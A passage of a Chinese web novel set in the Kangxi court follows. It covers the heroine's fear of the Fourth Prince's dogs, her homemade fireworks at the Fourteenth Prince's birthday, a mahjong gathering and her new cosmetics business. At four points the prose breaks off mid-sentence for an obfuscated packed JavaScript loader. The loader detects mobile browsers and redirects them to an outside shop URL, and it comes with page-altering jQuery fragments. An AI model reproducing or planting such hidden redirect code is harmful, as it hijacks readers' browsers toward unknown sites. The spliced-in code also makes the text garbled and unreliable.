四阿哥知道沈姝不是那种人,否则那日在太子府邸她不会对十四阿哥拔刀相救。 饭后,四阿哥和四福晋一同送沈姝离开。 快走到前院时忽然从一侧蹿出来一灰黑一黄白两只大狗,眼见这两条连绳子都没栓的大型犬冲了过来。 沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187923|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姝吓的大叫一声,“有狗!” 然后尖叫着躲到了四阿哥身后,这两只狗明显就是府里养的,狗主应该是他。 “……莫怕!” 家里的狗有时候会趁仆从疏忽时在院子里乱跑,这并不是第一次。 但四阿哥没想到沈姝竟然如此怕狗,都吓到花容失色了。 他伸手拦住了狗,安抚着身后的她,“这些狗不会胡乱咬人,你别怕。” 沈姝从四阿哥身后探出头,眉头紧皱的说道:“你、你还是赶紧把它们拴起来吧……” 她是真怕狗,因为小时候就被狗咬过。 那是一条大黑狗,也是没有栓绳,原本正卧在路边。 她只是从路上走过,就看了那狗一眼,结果那狗也看了她一眼,然后冲过来对着她的屁股就是一口…… 再说后世有狂犬疫苗,还有免疫球蛋白。 而这个时代可没有,沈姝也没有那本事能自制出这些药物。 一旦被咬,万一不幸中招狂犬病,那是必死无疑! 四阿哥见状顾不上逗弄爱犬,直接喊道:“快来人,把这两只畜生拉走栓好!” 很快仆从拿来项圈和狗绳把狗牵走,四阿哥转身朝沈姝道歉,“吓到你了吧,是我疏忽了。” 狗虽然被拉走了,但沈姝紧皱着的眉头还是没能舒展开,她抬头看向四阿哥,开启了批评模式。 在后世都倡导文明养犬,这狗不打狂犬疫苗也就罢了,怎么能不栓绳啊?! “四哥,你养狗都不栓绳子的? 这很危险啊,万一咬到人弄不好可是会要命的!” 四阿哥为自己的爱犬辩解:“它们不咬人……” 沈姝直接开始怼他,“你又不是它们,怎么知道它们不咬人? 再说它们咬人之前还能先告诉你一声?” “……” 看得出来沈姝不仅怕狗,还很讨厌狗,四阿哥叹了口气,“你很厌恶犬只?” “嗯。” 沈姝重重的点点头,“四哥,你家的狗要是不拴好,以后我可不敢来了。” 四阿哥保证道:“安心,以后不会再让它们吓到你。” 接下来没有再遇到狗,离开的时候沈姝还有点儿生气,那两只狗突然蹿出来真的很吓人啊! 还好她不喜欢穿花盆底,否则刚才躲闪时说不定就要摔倒了。 沈姝离开后,因为这个意外,四阿哥感到郁闷。 他很喜欢狗,满人有渔猎的传统,不仅是他,皇上也喜欢狗。 或者说满人就少有不喜欢狗的。 可沈姝居然如此惧怕狗…… “算了,让人把犬只都先送养到庄子上吧。” 听四阿哥这么说,四福晋很是诧异,“送到庄子上?” 他对家里的狗宝贝的不能行,就因为沈姝不喜欢,直接要把狗送走? 其实四福晋觉得刚才沈姝对四阿哥真是一点儿都不客气,而且还很失礼。 所以刚才她都没敢插话。 可四阿哥不仅没有生气,竟然还要把狗送走…… 至少她不敢这么说四阿哥,也不会这么说其他人。 那是因为四福晋不知道四阿哥和沈姝两个人,之前闹的比这激烈的都不止一次。 所以四阿哥根本就不觉得沈姝这样是冒犯,因为她的冒犯远比刚才要更过分! “留在家里就得一直拴着,它们也不舒服,还不如送到庄子上倒还自在些。” 四阿哥也没办法,沈姝怕狗,而且她是真的生气了,只能这样。 四福晋不知道该说什么好,很多时候她都不知道四阿哥究竟是怎么想的。 不过也不会多问,因为四阿哥不喜欢说这些。再说他的脾气一向是有些喜怒不定,让人琢磨不透。 于是四福晋很快让仆从把家里的狗都送到了郊外的庄子上。 沈姝不知道因为自己,四阿哥的爱犬们都被发配了。 从四阿哥府里出来后她还特意又跑去十四阿哥的庄子上最后检查了一遍自制的烟花,毕竟牛都吹出去了,明天燃放的时候必须要万无一失。 60.第 60 章 初九这天,十四阿哥府上可谓是张灯结彩,今日不仅是庆贺生辰,也是借机祝贺被封为贝子的喜事。 相比十四福晋的满脸高兴,十四阿哥很是平静。 生辰年年有,被封为贝子也不是因为他自己有什么功绩,有什么值得高兴的? 大操大办是为了让家里安心,也是不愿拂了八阿哥他们的一番好意。 沈姝和八阿哥他们还有四阿哥是前后脚到的,不得不说,十四阿哥的生辰确实是比之前四阿哥的要热闹。 记得四阿哥的生辰,只有十三阿哥去了。 她以为八阿哥他们和十四阿哥都是因为跟四阿哥不对付,所以收了帖子也故意不过去,其实是四阿哥生辰根本就没有主动邀请过兄弟们。 往年他都是只邀请了十四阿哥一人。 至于其他人不收到请帖,当然不可能会主动过去,因为兄弟们之间的感情还没好到那份上! 也就是十三阿哥跟他关系最好,所以才会主动上门。 就像十四阿哥的生辰也没有特意下帖子给八阿哥他们,因为没必要。 大家兄弟们之间关系好,谁的生辰是什么时候都心里有数,哪里还需特意下帖? 这种事情,下帖子反倒是见外了。 也就是沈姝,既收到过四阿哥的请帖又收到了十四阿哥的邀请。 还不是因为四阿哥和十四阿哥都想她来又怕她不来,所以才不得不专门下一个帖子! 现在看到四阿哥真的来赴十四阿哥的生辰宴,沈姝觉得这两兄弟之间的关系还真是让人有点儿看不懂。 还有四阿哥和八阿哥他们在这里谈笑风生的模样,一点儿都看不出来双方之间有什么龃龉。 在这里,沈姝感受到了某种后世的熟悉感,就是那种虚以逶迤的社交场面。 说实话,要不是两次生日宴的对比,单凭这两人之间的相处氛围上还真看不出来四阿哥和八阿哥之间的关系并不好。 生日宴吃的还是火锅,这也算是皇家传统,过年的火锅一直能吃到正月十六。 十四阿哥的生辰宴因为宾客比较多,没办法这么多人都围在一个桌子上,所以还是男女分席分了两桌。 吃完火锅,果然就像四阿哥猜的那样,开始听戏了。 戏台子搭在院子里,人都坐在屋里。 桌上摆着各色干果还有茶水,四个桌角处摆放的四个取暖的火炉。 吃着干果喝着茶水烤着火听着戏,冷到是不冷,可是无趣啊! 除了沈姝,其他人都听的津津有味。 旁边的四福晋见她意兴阑珊,便问道:“顺和你不习惯听京城的戏吧,你们山西平日里都听什么戏?” 沈姝摇头,“我不怎么听戏。” 原来是不喜欢听戏,四福晋继续唠嗑,“那你往日里都消遣什么?” 皇上看重义女,四阿哥重视义妹,她也希望能维护好跟沈姝之间的关系。 沈姝没有马上回答这个问题,隔着三四百年的代沟,她的消遣说给四福晋也解释不清。 不过以后与各位福晋之间必要的社交活动也得维系,于是笑着打探道:“我出自小地方,还不知四嫂你们这边平日里的消遣,除了听戏还有什么?” 四福晋觉得沈姝即便是突然贵为公主,整个人却没有什么大变,还是跟之前一样,比如她现在还能毫不避讳自己的出身。 这种品性实为难得,也算是始终如一。 四福晋也希望沈姝能融入京城的交际圈,便介绍道:“像我们闲暇时会听听戏,打打麻雀牌,逗弄逗弄宠物。” “麻雀牌?” 沈姝觉得这麻雀牌该不是麻将吧! 见她好奇,四福晋笑着说道:“就是一种用来消遣的牌,一共有一百多张牌,玩起来还挺有趣的,很能消磨工夫。 回头你有空可以过来玩,你四哥闲来无事也喜欢玩这个。” 沈姝点点头,“听起来很有意思。” 一旁的八福晋见状插了句嘴,“顺和你要是想玩,明儿个咱们这些人就能组个局。” 八阿哥交代过让她拉拢沈姝,所以八福晋也发出了邀请。 “好呀……” 沈姝笑着应下,得跟这些贵妇们打好关系,这可都是她化妆品生意潜在的大客户。 几个人闲聊着,一直到天色将晚才散场,接下来是去郊外的庄子上看烟花。 之所以要去郊外的庄子上,是因为皇城内禁止燃放。 一行人到时天色已黑,十四阿哥的庄子上早已准备妥当,不用等待直接就可以开始燃放。 燃放之前,十四阿哥吩咐道:“先燃放八哥送的,然后再燃放顺和送的。” “顺和还送了花炮?” 四阿哥有些好奇,还不知道这事。 旁边的八阿哥笑着说道:“是啊,我的花炮是从内务府弄的,顺和的可是自制的,待会儿咱们可要看个稀奇了!” “是吗?那可得好好看看。” 四阿哥说话的时候脸上带着笑意,心中微涩,看来沈姝还是很在意十四阿哥! 可这是事实,他不得不接受这个现实。 但接受不意味着放弃,他看中的人绝无可能会放弃! 随着一声炮仗响起,众人的目光都齐聚向前,观看烟花。 在沈姝看来,内务府造办处的烟花并不比民间的花样多多少。 这些烟花大致分为两类,喷花类以及升空类。 不过眼前的喷花与后世并不相同,后世的喷花大都是单个放在地上直接燃放。 内务府的大喷花看着确实是很大,因为这是扎了花盆或树木造型的架子,上面分层安置了许多小喷花组成的大喷花。 如此多的喷花一起燃放,火光溅落,一副火树银花不夜天的景象。 至于升空类,跟后世一样,只是有点儿像信号弹,就是腾空后炸出一颗流星。 两刻钟后内务府的烟花燃放完毕,轮到沈姝的自制了。 她的大型烟花大都是升空类的,少有地面喷花类的。后世的腾空类烟花都是升空后再炸花,花色艳丽造型多彩。 想要复杂的造型自然是需要□□,沈姝做了十颗,为此还高价在铁匠铺子定制了两个炮筒。 这种□□必须要发射筒,否则无法腾空。至于如何燃放,之前已经再三叮嘱过顺子他们。 众所周知,大型烟花的燃放动静很大,即便这是简陋版的,应该也会很响,所以她提前提醒道:“等下燃放时声音会比较大,如果怕响声可以先捂着耳朵。 还有,咱们可以离的更远些。” 因为十四阿哥的庄子上安装有如意灯,所以隔着不近的距离大家都能看到有两根碗口粗的铁管树立在地面上,很是奇怪。 “这是你的花炮,确实有点儿与众不同……” 不仅是八阿哥,其他人也很是好奇。 “嗯,这是燃放器。” 见大家后退的距离不够大,沈姝不得不再次提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196955|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒道:“我的花炮动静比较大,咱们还得再多后退后退,这东西远了看比较合适。” 在她的劝说下,一群人都移到了后院,而后院离前院有百十米的距离。 前后院之间不仅有距离,还隔着房子,在这里是什么都看不到。 大家都有点儿面面相觑,不知道沈姝在搞什么名堂。 “这……要怎么观看?” 看着前院的后墙,不仅是八福晋低声嘀咕,其他福晋心里也是这么想的。 四阿哥和十四阿哥都没有说话,只是抬头看了一眼漆黑的天空。 九阿哥则是好奇道:“顺和,你这有点儿故弄玄虚啊!” 十阿哥看了一眼天,又看向沈姝,“哎你弄的大家心痒痒的不能行,到底什么样的花炮需要如此观看?” 八阿哥正想说话,就听到一声带着尖啸声的巨响,“砰”的一声,震耳欲聋。 不仅是他,其他人也都吓了一跳。 高空中忽然绽放出一朵巨大无比的彩色花朵,紧接着又是一声巨响,再一朵彩色绽放。 两朵巨花交相辉映,照亮了大半个夜空。 接二连三的巨响之后,花朵此起彼伏。 十颗烟花弹的燃放时间并不久,连一刻钟都不到。 但天空中的景象让人震撼,还从未见过如此的花炮! 但这还没完,最后是一连串密集的尖啸声,一个显眼的“壽”字出现在天空中。 直到烟花燃尽,夜空重新归于黑暗,所有人还依旧停留在方才的震撼中不能自拔。 尤其是十四阿哥,仰望着夜空,心情异常愉悦! 四阿哥却是垂下眼帘,心生羡慕…… 这是费了心思的贺礼,没有人不喜欢自己被人如此真心对待。 十四阿哥一定是心生欢喜…… 这仅仅只是感激之情吗? 四阿哥开始有些怀疑之前沈姝的话,但又想,一份礼物而已,也许真是感激罢了! “这是怎么做到的?” 八阿哥敏锐的发现了这些烟花的价值,尤其是那个“壽”字,简直堪比祥瑞! 他看向沈姝,很是热切的继续问道:“顺和,这种烟花如何制作,你能不能教会内务府造办处的工匠? 若是万寿节时燃放此种花炮,皇阿玛必定龙颜大悦!” 虽然这些花炮的动静有点儿大,声音大的跟红衣大炮似的,但实在是令人震撼。 皇上会喜欢这种新奇的玩意,万寿节上那些来朝拜的蒙古王公必定也会大开眼界。 没有想到沈姝居然能弄出来如此稀奇的花样,八阿哥高兴到都有点儿激动了。 “可以。” 沈姝知道万寿节就是康熙的生辰,也就是说八阿哥想用烟花去献宝。 这无可厚非,所有人都想讨好康熙这个皇上,就连她也得考虑这个问题。 “顺和,谢谢你的礼物。” 十四阿哥向沈姝道谢,至于他有多喜欢这份礼物,没有必要当众言明。 九阿哥和十阿哥很是意犹未尽,“待皇阿玛万寿节时可以多制作些,这玩意可比往年那些花炮好看多了!” 福晋们此时此刻已经感受到,沈姝和她们根本不是一样的人。 她们主持中馈,囿于内宅,可她却像男子那般有正经的差事。 即便做的是匠人之事,但又有几人能凭借着这种手艺被封为公主? 一场短暂的烟花秀,看得众人心思复杂。 61.第 61 章 看完烟花回去之后,四福晋同四阿哥说起想要邀请沈姝来家玩牌的事情,并且还说八福晋也想邀请沈姝。 四阿哥当然是想要沈姝过来自己家,哪怕一起打牌的人不是他。 喜欢一个人就想不由自主的想要靠近是一种本能,如果无法随心所愿就会感到失落。 因为双方之间的“兄妹”关系,虽然是需要克制,但四阿哥还是忍不住的想要拉近关系。 便对四福晋说道:“你同时约顺和与八福晋、九福晋、十福晋她们一起来玩耍不就好了,玩牌而已,在谁家不是玩?” 四福晋笑了笑,“听您的,妾身明日一早就派人去请。” 她是嫂子,八福晋她们也不至于为此驳了她的面子。 至于十四福晋,当然不好一起约来。 毕竟她跟沈姝之前的关系还挺微妙的,虽然现在关系变了,但总归觉得别扭。 初十这天一大早,沈姝和八福晋她们都收到了四福晋的请帖。 没有人拒绝,所以半上午的大家都齐聚在了四阿哥府打麻将。 一张圆桌,五个人一起玩,玩法跟后世不太一样,但对于沈姝来说没有什么难度。 她保持着小输小赢总体上不输不赢的牌技,边打牌边一起唠嗑。 “冬日干燥,你们平日里都涂抹些什么让手和脸没那么干绷啊?” 沈姝主要是想知道这些贵妇们用的是什么化妆品或护肤品,以她十五岁的年纪平时是不用这些的。 也就是册封典礼那天,被两位嬷嬷用了带过来的化妆品。 之前也让顺子去外面的胭脂铺里买了些胭脂、妆粉、黛粉研究了一番,胭脂既可以当腮红也可以做口红用,妆粉相当于后世的粉底,至于黛粉就是描眉用的。 这些外面买的与那两位嬷嬷拿来的差别不大,只是精致程度不一样罢了。 八福晋听罢笑道:“我用的是馥香斋的,不过我看顺和你可水灵着呢,就算是不用这些胭脂水粉也是朵出水的娇芙蓉!” 九福晋和十福晋也跟着说道:“是啊,咱们用的都是馥香斋的,顺和你若是看得上也可以买些试试。” “我啊年纪大了,就算是再用那些个好东西也回不到二八年华,现在用的都是些寻常东西……” 四福晋笑的略带尴尬,她可用不起馥香斋的东西。 那里一盒胭脂都要十两银子,四阿哥一向不喜奢华,若是买了,怕他会不高兴。 馥香斋沈姝听顺子说过,这个字号算是京城最知名的胭脂铺子。 这知名度是跟价钱挂钩的,简单的说就是京城最贵的胭脂铺子。 沈姝笑着说出自己的目的,“馥香斋的胭脂水粉我也买过,看着挺不错的。 我看这胭脂铺子的生意都还不错,所以也想开个这样的铺子。 到时候开业前先送嫂子们一些,烦请嫂子们帮忙看看比之其他胭脂铺子的用起来怎样?” “你又要做生意?” 八福晋闻言很是惊讶,她可是听八阿哥说过沈姝布店的事情,那闹得是沸沸扬扬的,连皇上都被惊动了。 四福晋则是说道:“顺和你现在可是公主了,皇子皇女不能经商是规矩……” 九福晋则不以为然,因为九阿哥私下里也有生意,不做生意怎么能有钱呢? 十福晋就是跟着看个稀奇,她不是四福晋那种一板一眼的人,知道这规矩都是明面上的,私底下是另外一回事。 然后她们就听沈姝解释道:“此事我已经提前跟皇阿玛禀告过了,皇阿玛没有反对。” “……” 几位福晋都很惊讶,这生意居然还是得了皇上的允许? 八福晋率先反应过来,笑着开始恭维,“顺和你做的东西自然都是顶好的,馥香斋哪里能比得上?” 九福晋跟着说道:“是啊顺和,你这铺子什么时候开张,咱们这些做嫂子的可都得去给你捧捧场!” 十福晋也点头附和,“顺和你可真是多才多艺,怪不得皇阿玛对你如此看重!” 四福晋都有点儿不知道该说什么好了,原来这规矩也是分人的,不同之人之间的规矩还不一样…… “原来如此,那看来顺和你这生意必定是兴隆顺遂了。” 看看,这人一旦有了身份地位,耳旁尽是好人好话,与后世并无二致。 沈姝不禁心生感慨,但面上不显,而是笑着说道:“那也得东西着实好用才行啊,所以才要烦请嫂子们帮忙把把关。” 做买卖就是再有关系,那也得东西好,否则这生意是做不长的。 这个道理沈姝懂,所以到时候得先让福晋们试用一番说说感受。 福晋们若是觉得不错,那这生意才能成,否则就不用想了,可以考虑换种生意了。 “那咱们就提前先谢谢顺和你的礼物了……” 牌桌上欢声笑语,气氛很是融洽。 这场牌一直打到中午头,用过饭后又继续道傍晚前才散场。 客人们都回去后,四福晋觉得坐的都有点儿腰酸背痛。 一整天四阿哥都没有往后院去,忍了一天,傍晚用餐时主动开口闲聊,“今日里打牌,你们谁得了好彩头啊?” 这问的是谁打牌赢了谁输了,四福晋笑着回道:“妾身和十福晋都输了,八福晋和九福晋赢了,顺和估么着是不输不赢。” 不输不赢是一种平衡之术,能保持如此,不单单是运道。 四阿哥微微挑眉,“这么说来顺和的牌技还不错啊!” “顺和的手气还行,打牌也不怯场。” 想了想四福晋说了沈姝想要做生意的事情,“顺和说皇上允她开个胭脂铺子,这事爷您可听说了?” “皇阿玛允她开胭脂铺子?” 这话有些不知所云,什么时候皇上还管胭脂铺子的事情? 四阿哥觉得是四福晋学话没学好,于是问道:“顺和的原话是什么?” “原话就是这个呀!顺和还说到时候要送我们一些让大家伙都先试着用用。” 四福晋觉得沈姝的话就是这个意思,皇上同意她做胭脂水粉的生意。 “……” 四阿哥有点儿无语还有些不悦,但没有发作只是说道:“那到时候顺和的铺子开了,你们的脂粉可以去那儿采买,算是照顾她的生意。” 四福晋点点头,心道就是不知道这铺子里的物件都贵不贵。 万一像馥香斋那般的费钱,到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14204642|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候是买还是不买? 同四福晋一样,八福晋她们回去后也把皇上允许沈姝做生意的事情告诉了自己的夫君。 八阿哥他们也是交代自己的福晋以后要多照顾沈姝的生意,这生意可是经皇上允许的,那能是一般的生意吗? 虽然暂时不知道皇上为什么要这么做,但顺着皇上的意思肯定是没错的! 君心难测,皇上这是一会儿一出,谁知道是想要做什么? 不同于这些阿哥们,沈姝其实不太明白为什么康熙不允许子女做生意。 不过她觉得这次的胭脂水粉生意,应该是没有问题。 所以在牌桌上她说的是皇上没反对,想着应该是会同意。 当然,最终还得走一个禀告的流程。 打完麻将的次日,八阿哥登门拜访,此来主要是说烟花的事情。 “顺和,三月十八就是万寿节,这花炮的事情赶的比较紧,你看是不是得提前安排一下?” 看来八阿哥为讨皇上欢心很积极,沈姝只得说道:“那明日一早吧,八哥你带我先去内务府造办处看看那边的情况。” “好。” 八阿哥就喜欢沈姝这股子爽快劲儿,她办事从不拖沓。 有好处的事,他从不会独占,于此事也是一样。所以直接说道:“若是皇阿玛看到你的花炮龙颜大悦,这都是你的功劳。” 八阿哥会说话,沈姝也不遑多让,笑着回道:“八哥你这说的是什么话,咱们还不是为了让皇阿玛高兴嘛!” 这话说的有意思,是八阿哥想要听到的,不得不说沈姝真是一个妙人儿。 他笑道:“那就劳烦顺和你了,到时候咱们让皇阿玛喜出望外!” 顿了顿又道:“你平日里若是有什么需要帮忙的,可不要跟我这个做兄长的客气。” “放心,我不跟八哥你客气。” 沈姝笑呵呵的客套了一句。 次日沈姝便跟着八阿哥去了内务府造办处,两个人闲聊间她还了解了一番内务府。 在沈姝看来,内务府就像个大杂烩一样。 无论是染料还是如意灯,亦或是现在的烟花,这内务府的业务可真不少。 经了解才知道原来内务府还真是一个庞然大物,下辖七司三院五十多个机构,皆奉天子之事,也就是说凡是皇家的衣食住行的各种事务,都由内务府承办。 可以说,内务府就是帝王的专门服务机构。 除此之外,内务府还经营一些皇家生意。 比如贩卖关外的人参等,当然现在多了两项,染料和如意灯。 而烟花制作处就属于营造司专门制作花炮的造办处所管,万寿节所使用的烟花皆是此处制作。 造办处不缺烟花制作原料,沈姝在此接连指导了三五日,保证此处的匠人学会如何制作烟花弹。 按八阿哥的意思,那个“壽”字烟花是关键。 这个简单,通过调整烟花发射的高度、相互间距离,用点阵的方式组的图形即可。 不过这东西不用教,只要把相应的烟花制作好,到时候沈姝直接亲自动手给这些烟花凹造型。 弄完了烟花之事,沈姝才开始着手自己的化妆品生意。 62.第 62 章 出正月之后,天气转暖。 之前沈姝在郊外的染坊开始动工改造,主要是把之前的染料池变成甘油制造设施。 甘油的提取很简单,利用植物油的水解反应即可。 植物油到处都能买到,原料充足。 综合考虑之下,沈姝决定先生产四种产品,分别是口红、眉笔、香皂和香脂。 至于其他的,比如粉底液,因为原料不足,弄不出来。 后世粉底液中的美白遮瑕成分是二氧化钛,就是知道二氧化钛怎么合成也没用,去哪里找钛矿? 现在外面卖的粉底中增白剂应该是铅粉,这种重金属容易致癌。 沈姝不打算弄这种东西,而这四种产品就容易多了。 口红的主要原料是蜡、油脂、着色剂等。 虽然没有石蜡,但有白蜡和蜂蜡;至于着色剂,合成氧化铁色素就行。 眉笔的制作更容易,黛粉、白蜡等原料虽然贵,但可以买到。 香皂就更不用说了,后世很多人有闲情雅致的话都可以自己在家自制,没有任何难度。 香脂也没有什么复杂之处,唯一比较麻烦的是跟香皂一样。 想要香味怡人比较费劲儿,需要调配天然香料,而香料很贵。 以上产品中或多或少都含有甘油,甘油在化妆品中主要用于保湿、润滑和防腐,是必不可少的有效成分。 生产这些东西所需的原料除了甘油和着色剂,其他原料都可以直接购买。 沈姝给了顺子两千两银子,让他去购买原料。化妆品可是奢侈品,无论是白蜡还是黛石亦或是香料,都不便宜。 除此之外,还需要一些特制的罐子来装香脂,定做口红和眉笔的容器。 至于香皂,弄些木盒子装着就行。 三月初时,制作出了第一批成品,数量不多。 除了香脂罐子是瓷质的,口红、眉笔以及香皂的容器都是木制的。 口红和眉笔都采用的是后世那种伸缩式容器,虽然木制的容易看起来很廉价。 可没办法,没有石油沈姝弄不出来塑料,而瓷制的容器容器效果并不好,还不如木制。 虽然包装的材质是拉胯了些,但东西应该还不错。 口红的色号比市面上要多,而且使用效果沈姝觉得还不错。 这些东西她都使用过,自我感觉良好。 至于其他人感觉如何,那得等先送一圈礼再说。 但在给福晋们送礼之前,需要先递牌子进宫一趟。 送礼这事,怎么能不先给康熙送! “你送朕香脂?” 康熙看着李德全呈上来的这两只蓝瓷罐子,有点儿不知道该说什么,颇为无语。 沈姝点着头催促道:“是啊皇阿玛,您试试看好不好用? 这是儿臣特意为您调制的香料,平日里可以涂抹一些用来护手。” 康熙抬头看着沈姝说道:“香脂是女子所用,朕是男子!” “可这是儿臣为皇阿玛您特制的啊,并非是在外面铺子买的女子用品。 您要是不喜欢,那就罢了。” 没想到康熙是个传统的糙汉子,很介意使用香脂。 好吧,不想用就算了。 沈姝接着开始说自己生意的事情,因为之前说的就是做生意前要先经过允许。 “皇阿玛,儿臣之前说过想做生意,现在决定要做胭脂水粉的生意,您看行不行啊?” “为何想要做这种生意?” 康熙瞥了一眼桌上的瓷罐子,怪不得一上来就送香脂呢! 沈姝笑着回道:“儿臣是女子,喜欢做些胭脂水粉,所以就想做这个生意。” “你的胭脂水粉与其他铺子里的可是有什么不同之处?” 康熙看着沈姝,摸不清她到底想做什么。 前段时间八阿哥曾进宫禀告说她会制作花炮,还参与了制作万寿节的花炮。 说实话他听了这话的第一反应是不太相信,花炮似乎跟染料还有如意灯之间没有什么关系。 可又思及沈姝很能折腾,康熙又开始好奇起来万寿节的花炮了。 只是怎么也没有想到她要做胭脂水粉的生意,怎么感觉像是窜天猴一样到处乱蹿,一下子又从花炮蹿到了胭脂水粉上,让人有点儿应接不暇。 面对这个问题,沈姝还给宫里也准备了些礼物,于是又让李德全把一盒子口红、眉笔、香皂和香脂呈给康熙看。 “皇阿玛您看,儿臣给娘娘们也准备了些礼物。至于说这些到底有什么不同之处,那也得用过的人才能明白。” 看着这一盒子的东西,康熙开始感到头疼,“你这是把生意直接做到了宫里?” 沈姝笑着摇头,“这可是儿臣的一点儿孝心,哪里是要直接在宫里做生意!” 顿了顿又道:“皇阿玛,这个生意儿臣到底是能不能做啊?” “你呀!” 倚坐在榻上的康熙笑了笑,他还挺喜欢跟沈姝闲聊,许是她言行间没有那么多小心翼翼的恭谨,反而是比较随意。 “这次不会再折腾出来什么大动静了吧?” “应该不会,儿臣可是遵守律令之人。” 就是些胭脂水粉的生意,难道还会有人弹劾自己? 沈姝觉得应该不至于! “既是想做,那朕不拦着,也想看看你这生意做的怎样。” 想不出来胭脂水粉的生意能闹出什么大事来,康熙便应允了,他正好想看看沈姝的经商能力究竟如何。 “太好了,儿臣多谢皇阿玛。” 沈姝就知道这生意康熙一定能同意,胭脂水粉这东西赚的是有钱人的钱,又不涉及什么国计民生。 “做生意归做生意,莫要忘了肥料的正事。跪安吧。” 提醒了一下沈姝不要不务正业,康熙挥手打发走了她。 沈姝离开后,康熙看着矮桌上的香脂罐子微微摇头,“你说她是怎么想的,竟然给朕送这东西?” 李德全也有点儿无语,谁能想到还有人送香脂给皇上,简直是闻所未闻,还真是不怕皇上生气。 然而心里是这么想的,嘴上说的却是:“顺和公主许是第一次献礼不懂规矩,不过对皇上您也算是一片孝心。” 这么说是因为皇上嘴上这么说,但其实并没有生气。 听李德全这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14220657|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说,康熙伸手拿起矮桌上的香脂,拧开了盖子,想仔细看看沈姝的孝心。 打开盖子后发现里面是浅绿色的香膏,还有一股淡淡的檀香夹杂着些许松柏之味显露出来,确实并非是女子的胭脂水粉味。 康熙知道女子的脂粉是什么味道,毕竟他后宫的女人那么多,又怎么可能会不知道? 抬头看了一眼李德全,他吩咐道:“盒子里的香脂,打开一个朕看看。” 李德全见状连忙随手拿了一个红色罐子拧开呈了过来,这只红色罐子一打开便有一股花香味儿,明显跟自己手中的这罐味道不同。 康熙这才用手指轻轻抿了一些香脂,因为这个味道他并不讨厌。 正常人的手都比脸要干燥,康熙也不例外,尤其现在这季节。 而且他年纪大了,再加上年年狩猎拉弓,一双手粗糙的很。 香脂抹上之后,感觉双手没有那么紧绷了,手上明显轻松了些。 康熙抹完香脂,朝李德全吩咐道:“盒子里那些给后宫送去,皇贵妃、贵妃还有德妃、宜妃、良妃她们都分些。” “嗻。” 李德全领命,他知道沈姝送的这两罐香脂皇上留下了。 皇上有时候就是这样,嘴上是这么说,实际上并非如此。不过沈姝送的这种香脂皇上肯用,说明这东西还真是好东西。 沈姝不知道康熙嘴上嫌弃,实际上还真用了香脂。 从宫里出来后,便打发人给四阿哥、八阿哥、九阿哥、十阿哥、十三阿哥还有十四阿哥府中全都送了一套。 之所以连十四福晋也送,是因为不好厚此薄彼,所以全都一视同仁。 一套就是香脂、眉笔、口红、香皂各一,只当是送些试用品。 这些东西沈姝的定价是打算比平馥香斋,馥香斋一盒胭脂售价六两银子,那这口红也是六两银子一支。 至于眉笔也一样,五两银子一支,香脂香皂分别是八两和五两的定价。 这些东西的成本价虽然高但还没有那么高,利润率很高,高达百分之三百以上。 但化妆品本就是奢侈品,目标客户是那些小姐或贵妇们,这些人应该是不差钱的,反正沈姝看馥香斋的生意就不错。 到时候福晋们要来撑撑场子,那知名度就能打出来,剩下的就是要看这些化妆品的口碑了。 话说福晋们收到沈姝送来的化妆品,除了十四福晋,其他人都好奇的试用起来。 她们都是日日必用胭脂水粉之人,这其中的不同之处那是一用便知。 就说这形状奇怪的口脂,较之寻常口脂,颜色不仅更艳更容易上色还很滋润。 黛粉的形状也很奇怪,但用着还趁手,更容易描绘出眉形。 香脂就更不用说了,一用到脸上就能感觉出水润,香皂用来净脸感觉也不错。 总的来说就是使用体验远高于预期,为此她们还专门派人过府致谢,并询问胭脂铺子何时开张,她们好过去捧捧场子。 对于这话,沈姝反倒是不知是该信还是不该信,只希望是真实的使用体验感而不是恭维。 不管怎么说,福晋们是给足了面子,就看开张后的市场反应了。 63.第 63 章 康熙四十七年三月十二,吉日,宜开业。 